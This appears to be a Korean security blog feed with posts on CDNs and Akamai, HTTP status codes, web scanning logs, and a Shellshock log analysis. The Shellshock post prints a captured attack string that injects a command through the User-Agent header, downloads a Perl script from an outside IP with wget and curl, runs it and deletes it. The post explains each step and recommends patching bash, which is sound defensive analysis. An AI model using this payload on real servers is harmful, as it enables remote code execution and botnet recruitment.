SecuIT — Mon, 1 Jun 2020 17:04:13 +0900

콘텐츠 전송 네트워크는 콘텐츠를 효율적으로 전달하기 위해 여러 노드를 가진 네트워크에 데이터를 저장하여 제공하는 시스템을 말합니다.

CDN의 목적은 높은 사용성과 효율로 사용자에게 컨텐츠를 전달함에 있다. CDN은 오늘날 인터넷에 존재하는 컨텐츠의 상당수를 서비스하고 있는데 이에는 웹 요소 (텍스트, 그래픽, 스크립트), 다운로드 가능한 요소 (미디어 파일, 소프트웨어, 문서), 애플리케이션 (전자상거래, 포털), 실시간 미디어, 주문형 스트리밍, 그리고 소셜 네트워크 등이 있습니다.

(CDN을 제공하는 회사들 중 대표적인 선두회사 아카마이가 있습니다)

아카마이란?

아카마이는 분산 컴퓨팅 및 클라우드 컴퓨팅을 전문으로 하는 미국의 기업입니다.

기업을 상대로 웹 서버의 분산형 리버스 프락시 서버를 구축하여 웹 캐싱 서비스를 기반으로 제공하였고 이를 기반으로 웹 가속 및 보안 서비스와 웹 기반 스트리밍 서비스를 기반 인터넷에서 클라우드 기반 서비스로 제공함으로써 고객사 서버의 부담을 줄이는 B2B 솔루션이 메인 서비스입니다.

(현재 페이스북, Apple, 아마존 등을 서비스)

CDN은 오리진 서버를 대신하여 엔드유저와 가까운 물리적 위치 및 네트워크에서 엔드유저 요청에 응답함으로써 콘텐츠 서버의 트래픽 부하를 줄이고 엔드유저의 웹 경험을 개선하여 콘텐츠 제공업체와 엔드유저 모두에게 막대한 이점을 제공합니다.

(즉, 웹 서비스 속도와 보안 및 가용성이 증가)

1. 웹 브라우저가 실행되는 디바이스인 PC나 모바일 기기의 사용자 에이전트가 특정 주소에 접근하여 HTML, 이미지, CSS, JavaScript 파일등 렌더링하는 데 필요한 콘텐츠를 서버로부터 요청합니다.

2, 3. 대부분의 CDN의 경우 콘텐츠에 대한 각 요청이 발생하면 엔드유저와 가장 가까운 위치에 최적으로 배치된 CDN 서버에 엔드유저가 매핑되고, 해당 서버는 요청된 파일의 캐싱된(사전 저장된) 버전으로 응답(전송)합니다.

4. 서버가 파일을 찾는 데 실패하는 경우 CDN 플랫폼의 다른 서버에서 콘텐츠를 찾은 다음 엔드유저에게 응답을 전송합니다. 콘텐츠를 사용할 수 없거나 콘텐츠가 오래된 경우, CDN은 오리진 서버에 대한 요청 프록시로 작동하여 향후 요청에 대해 응답할 수 있도록 페칭된 새로운 콘텐츠를 저장합니다.

참고자료

1. https://cdn.hosting.kr/

[V-Web] 12. Bash shellshock 취약점 (attempt to build an ircbot bonet)

SecuIT — Mon, 1 Jun 2020 14:18:56 +0900

2014년에 발표된 이후로 여전히 Bash Shellshock 취약점은 주요 자동화공격 대상에 포함되어 있습니다. 쉘쇼크 취약점 스캔 로그는 ircbot 기반의 DDoS 봇넷 구축을 하려는 시도로 보입니다.

1. Payload

() { :;};/usr/bin/perl

2. 공격구문

"GET HTTP/1.1 HTTP/1.1" 400 455 "-" "() { :;};/usr/bin/perl -e 'print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";system(\"wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\");'"

User-Agent 문자열에 () { :;};운영체제-명령어을 웹 서버에 전달하여 취약점이 있는 Bash로 하여금 공격자가 원하는 운영체제-명령어를 실행하려는 시도이다. /main.cgi, /info.cgi, /index.cgi, /admin.cgi, /cgi-bin/report.cgi 등의 URL을 목표로 하고 있습니다.

공격자는 PERL 해석기를 통해서 명령어 실행을 시도하고 있습니다.

/usr/bin/perl -e 'PERL-코드'

표적 시스템이 Bash Shellshock 취약점을 가지고 있고, 만약 /usr/bin/perl(PERL 해석기, Perl Interpreter)이 존재하면 PERL-코드를 실행합니다.

print \"Content-Type: text/plain\\r\\n\\r\\nXSUCCESS!\";

/usr/bin/perl(PERL 해석기)이 존재하면 공격자의 공격도구로 HTTP의 본문에 "XSUCCESS!"라는 문자열을 전송한다. 이 문자열이 탐지되면 Bash Shellshock 취약점이 존재하며, 웹 서버에서 PERL도 실행가능하다는 뜻이다. 대부분의 Linux 시스템은 기본적으로 Perl 해석기가 설치되어 있다.

**system(\"wget http://192.99.1.177/dxd2.txt;curl -O /tmp/dxd2.txt;curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt;perl /tmp/dxd2.txt;rm -rf /tmp/dxd2.*\");**

system() 함수를 이용하여 원격지(192.99.1.177)에서 펄 스크립트를 받아서 실행하고 파일을 삭제합니다.

실행순서

1. wget http://192.99.1.177/dxd2.txt -O /tmp/dxd2.txt
- wget으로 원격지의 dxd2.txt 파일을 받아서 /tmp/에 저장한다.

2. curl -O /tmp/dxd2.txt http://192.99.1.177/dxd2.txt
- curl로 원격지의 dxd2.txt 파일을 받아서 /tmp/에 저장한다.
- 결국, wget이나 curl 중 하나만 있어도 원격지의 파일이 저장된다. 수율을 높이기 위한 전략이다.

3. perl /tmp/dxd2.txt
- perl을 이용하여 웹 서버에 저장한 /tmp/dxd2.txt를 실행한다.

4. rm -rf /tmp/dxd2.*
- /tmp/dxd2.*를 삭제하여 공격 흔적을 지운다.
- 결과적으로, 메모리에서는 악성코드가 실행중이지만 파일시스템에는 악성코드가 남지않아서 탐지를 잘 되지 않게 한다.

※ 해결방안

1. bash 패치를 진행한다.

패치 이전 취약한 상태

(){ :;}; 취약한 구문과 함께 vulnerable을 출력하니, this is a test가 나오는것을 확인할 수 있다.

패치 이후 취약점 해결 상태

취약점이 해결된 상태이며, 구문사용 금지 문구를 확인할 수 있다.

[T-Web] 01. HTTP 상태코드 및 에러코드 (HTTP status code, error code)

SecuIT — Mon, 1 Jun 2020 11:11:59 +0900

1xx (조건부 응답)

이 상태의 상태 코드는 상태-라인과 선택적 헤더(컴퓨터에서 출력될 때 각 페이지 맨 윗부분에 자동으로 붙는 부분)만을 포함하는 임시의 응답을 나타내고 빈 라인에 의해서 종결된다. HTTP/1.0이래로 어떤 1XX 상태 코드들도 정의 되지 않았다. 서버들은 1XX 응답을 실험적인 상태를 제외하고 HTTP/1.0 클라이언트(서버에 연결된 컴퓨터)로 보내면 안 된다.

100(계속): 요청자는 요청을 계속해야 한다. 서버는 이 코드를 제공하여 요청의 첫 번째 부분을 받았으며 나머지를 기다리고 있음을 나타낸다.
101(프로토콜 전환): 요청자가 서버에 프로토콜 전환을 요청했으며 서버는 이를 승인하는 중이다.

2xx (성공)

이 클래스의 상태 코드는 클라이언트가 요청한 동작을 수신하여 이해했고 승낙했으며 성공적으로 처리했음을 가리킨다.

200(성공): 서버가 요청을 제대로 처리했다는 뜻이다. 이는 주로 서버가 요청한 페이지를 제공했다는 의미로 쓰인다.
201(작성됨): 성공적으로 요청되었으며 서버가 새 리소스를 작성했다. 202(허용됨): 서버가 요청을 접수했지만 아직 처리하지 않았다.
203(신뢰할 수 없는 정보): 서버가 요청을 성공적으로 처리했지만 다른 소스에서 수신된 정보를 제공하고 있다.
204(콘텐츠 없음): 서버가 요청을 성공적으로 처리했지만 콘텐츠를 제공하지 않는다.
205(콘텐츠 재설정): 서버가 요청을 성공적으로 처리했지만 콘텐츠를 표시하지 않는다. 204 응답과 달리 이 응답은 요청자가 문서 보기를 재설정할 것을 요구한다(예: 새 입력을 위한 양식 비우기).
206(일부 콘텐츠): 서버가 GET 요청의 일부만 성공적으로 처리했다.

3xx (리다이렉션 완료)

이 요청을 완료하기 위해서는 리다이렉션이 이루어져야 한다는 의미이다. 짧은 주소(단축 URL) 서비스의 경우 접속 시 301이나 302 코드를 보내고, 헤더의 location에 리다이렉션할 실제 URL을 적어 보낸다.

300(여러 선택항목): 서버가 요청에 따라 여러 조치를 선택할 수 있다. 서버가 사용자 에이전트에 따라 수행할 작업을 선택하거나, 요청자가 선택할 수 있는 작업 목록을 제공한다.
301(영구 이동): 요청한 페이지를 새 위치로 영구적으로 이동했다. GET 또는 HEAD 요청에 대한 응답으로 이 응답을 표시하면 요청자가 자동으로 새 위치로 전달된다.
302(임시 이동): 현재 서버가 다른 위치의 페이지로 요청에 응답하고 있지만 요청자는 향후 요청 시 원래 위치를 계속 사용해야 한다.
303(기타 위치 보기): 요청자가 다른 위치에 별도의 GET 요청을 하여 응답을 검색할 경우 서버는 이 코드를 표시한다. HEAD 요청 이외의 모든 요청을 다른 위치로 자동으로 전달한다.
304(수정되지 않음): 마지막 요청 이후 요청한 페이지는 수정되지 않았다. 서버가 이 응답을 표시하면 페이지의 콘텐츠를 표시하지 않는다. 요청자가 마지막으로 페이지를 요청한 후 페이지가 변경되지 않으면 이 응답(If-Modified-Since HTTP 헤더라고 함)을 표시하도록 서버를 구성해야 한다.
305(프록시 사용): 요청자는 프록시를 사용하여 요청한 페이지만 액세스할 수 있다. 서버가 이 응답을 표시하면 요청자가 사용할 프록시를 가리키는 것이기도 하다.
307(임시 리다이렉션): 현재 서버가 다른 위치의 페이지로 요청에 응답하고 있지만 요청자는 향후 요청 시 원래 위치를 계속 사용해야 한다.
308(영구 리다이렉션, RFC에서 실험적으로 승인됨)

4xx (요청 오류)

4xx 클래스의 상태 코드는 클라이언트에 오류가 있음을 나타낸다.

400(잘못된 요청): 서버가 요청의 구문을 인식하지 못했다.
401(권한 없음): 이 요청은 인증이 필요하다. 서버는 로그인이 필요한 페이지에 대해 이 요청을 제공할 수 있다. 상태 코드 이름이 권한 없음(Unauthorized)으로 되어 있지만 실제 뜻은 인증 안됨(Unauthenticated)에 더 가깝다. 402(결제 필요): 이 요청은 결제가 필요합니다.
403(금지됨): 서버가 요청을 거부하고 있다. 예를 들자면, 사용자가 리소스에 대한 필요 권한을 갖고 있지 않다. (401은 인증 실패, 403은 인가 실패라고 볼 수 있음)
404(찾을 수 없음): 서버가 요청한 페이지를 찾을 수 없다. 예를 들어 서버에 존재하지 않는 페이지에 대한 요청이 있을 경우 서버는 이 코드를 제공한다.
405(허용되지 않는 방법): 요청에 지정된 방법을 사용할 수 없다.
406(허용되지 않음): 요청한 페이지가 요청한 콘텐츠 특성으로 응답할 수 없다.
407(프록시 인증 필요): 이 상태 코드는 401(권한 없음)과 비슷하지만 요청자가 프록시를 사용하여 인증해야 한다. 서버가 이 응답을 표시하면 요청자가 사용할 프록시를 가리키는 것이기도 한다.
408(요청 시간초과): 서버의 요청 대기가 시간을 초과하였다.
409(충돌): 서버가 요청을 수행하는 중에 충돌이 발생했다. 서버는 응답할 때 충돌에 대한 정보를 포함해야 한다. 서버는 PUT 요청과 충돌하는 PUT 요청에 대한 응답으로 이 코드를 요청 간 차이점 목록과 함께 표시해야 한다.
410(사라짐): 서버는 요청한 리소스가 영구적으로 삭제되었을 때 이 응답을 표시한다. 404(찾을 수 없음) 코드와 비슷하며 이전에 있었지만 더 이상 존재하지 않는 리소스에 대해 404 대신 사용하기도 한다. 리소스가 영구적으로 이동된 경우 301을 사용하여 리소스의 새 위치를 지정해야 한다.
411(길이 필요): 서버는 유효한 콘텐츠 길이 헤더 입력란 없이는 요청을 수락하지 않는다.
412(사전조건 실패): 서버가 요청자가 요청 시 부과한 사전조건을 만족하지 않는다.
413(요청 속성이 너무 큼): 요청이 너무 커서 서버가 처리할 수 없다.
414(요청 URI가 너무 긺): 요청 URI(일반적으로 URL)가 너무 길어 서버가 처리할 수 없다.
415(지원되지 않는 미디어 유형): 요청이 요청한 페이지에서 지원하지 않는 형식으로 되어 있다.
416(처리할 수 없는 요청범위): 요청이 페이지에서 처리할 수 없는 범위에 해당되는 경우 서버는 이 상태 코드를 표시한다.
417(예상 실패): 서버는 Expect 요청 헤더 입력란의 요구사항을 만족할 수 없다.

5xx (서버 오류)

서버가 유효한 요청을 명백하게 수행하지 못했음을 나타낸다.

500(내부 서버 오류): 서버에 오류가 발생하여 요청을 수행할 수 없다.
501(구현되지 않음): 서버에 요청을 수행할 수 있는 기능이 없다. 예를 들어 서버가 요청 메소드를 인식하지 못할 때 이 코드를 표시한다.
502(불량 게이트웨이): 서버가 게이트웨이나 프록시 역할을 하고 있거나 또는 업스트림 서버에서 잘못된 응답을 받았다.
503(서비스를 사용할 수 없음): 서버가 오버로드되었거나 유지관리를 위해 다운되었기 때문에 현재 서버를 사용할 수 없다. 이는 대개 일시적인 상태이다.
504(게이트웨이 시간초과): 서버가 게이트웨이나 프록시 역할을 하고 있거나 또는 업스트림 서버에서 제때 요청을 받지 못했다.
505(HTTP 버전이 지원되지 않음): 서버가 요청에 사용된 HTTP 프로토콜 버전을 지원하지 않는다.

비표준

520(알 수 없는 오류): Cloudflare에서 주로 쓰는 비표준 응답코드.
509(설정한 대역폭 제한을 초과시 사용): 원래 아파치 HTTP 서버와 CPanel에 쓰는 비표준 응답코드이나 웹호스팅를 사용하는 경우가 많아진 지금은 사실상 표준응답코드로 사용된다.
522(접속 시간 초과): Cloudflare에서 주로 쓰는 비표준 응답코드.
525(서버와 사용자간에 SSL/TLS Handshake을 할 수 없을 때 뜨는 코드): 주로 TLS를 설정을 안하고 HTTPS 접속이 안되는 서버 상태에서 Cloudflare SSL 구성값에 오류가 생긴 경우에 주로 뜬다. Cloudflare에서 주로 쓰는 비표준 응답코드.
526(서버의 SSL 인증서의 유효성을 검증 할수없고 인증서가 잘못되었을 때): Cloudflare에서 주로 쓰는 비표준 응답코드.

※ 참고사이트

https://namu.wiki/w/HTTP/%EC%9D%91%EB%8B%B5%20%EC%BD%94%EB%93%9C

[V-Web] 11. 스캔성 웹서버 공격 (Scanable Web Server Attack)

SecuIT — Mon, 1 Jun 2020 10:22:59 +0900

웹 스캔이란?

웹 사이트의 취약한 부분을 조사 및 분석하는 도구입니다.

웹 서버의 종류나 버전, 디렉터리 구조 그리고 중요한 파일이 존재하는지 검사합니다.

HTTP 요청을 보내고 서버의 응답 코드를 받아 페이지의 존재여부와 취약한 부분을 확인할 수 있다.

1. xmlrpc.php 스캔

"GET /xmlrpc.php HTTP/1.1" 404 416 "-" "PycURL/7.19.5 libcurl/7.38.0 GnuTLS/3.3.8 zlib/1.2.8 libidn/1.29 libssh2/1.4.3 librtmp/2.3"

워드프레스의 XML-RPC(xmlrpc.php) 기능에는 다양한 취약점이 존재합니다. 이 기능은 HTTP 규약을 이용하여 XML 데이타 송수신을 지원하고 취약한 버전의 경우에는 다른 서버를 공격하는 분산서비스거부공격(DDoS, Distributed Denial of Service)에 악용될 수 있습니다. WordPress로 웹서비스를 운영한다면 "disable xmlrpc", "block xmlrpc" 등의 워드프레스 플러그인을 설치하여 공격을 차단할 수 있습니다.

2. 공개 프록시(Open Proxy) 기능 스캔

"HEAD http://180.163.113.82/check_proxy HTTP/1.1" 404 124 "-" "-"

root@kali:~# curl -v http://180.163.113.82/check_proxy
* Trying 180.163.113.82...
* Connected to 180.163.113.82 (180.163.113.82) port 80 (#0)
> GET /check_proxy HTTP/1.1
> Host: 180.163.113.82
> User-Agent: curl/7.47.0
> Accept: */*

< HTTP/1.1 200 OK
< Server: ADSSERVER/44857
< Date: Thu, 08 Dec 2016 01:34:12 GMT
< Content-Type: text/javascript;charset=UTF-8
< Transfer-Encoding: chunked
< Connection: keep-alive
< Proxy-Check: eyJwcm94eV90eXBlIjoiZWxpdGUiLCJyZW1vdGVfYWRkciI6IjE1MC4xODMuMjI2LjE1OSJ9
< Set-Cookie: __ads_session=SrTHQHUS1AhffxAAnwA=; domain=.180.163.113.82; path=/
< X-Powered-By-ADS: chn-shads-3-17
< {"proxy_type":"elite","remote_addr":"122.32.19.138"}

웹 홈페이지의 프록시 기능이 열려있는 지를 탐지하는 것으로, 만약 웹서버가 공개 프록시(Open Proxy) 기능을 제공하는 경우라면, 웹서버는 위의 200 OK 응답으로 문자열(HEAD http://180.163.113.82/check_proxy)을 공격자에게 전달합니다.

공격자는 문자열을 분석하여 공개 프록시에 접속할 수 있다는 것을 확인한다. 공격자는 이렇게 공개 프록시를 운영중인 서버들을 모아서 "IP주소 세탁", "DDoS 공격" 등에 악용할 수 있습니다.

공개 프록시를 운영하게 되면, 악의적인 공격자들에게, 별다른 공격이 필요없는 효율적인 해킹 방법을 제공할 수 있으므로 주의가 필요합니다.

3. 아파치 톰캣(Apache Tomcat) 관리자 페이지 스캔

"GET /manager/html HTTP/1.1" 404 420 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0)"

톰캣 관리자 페이지 스캔입니다.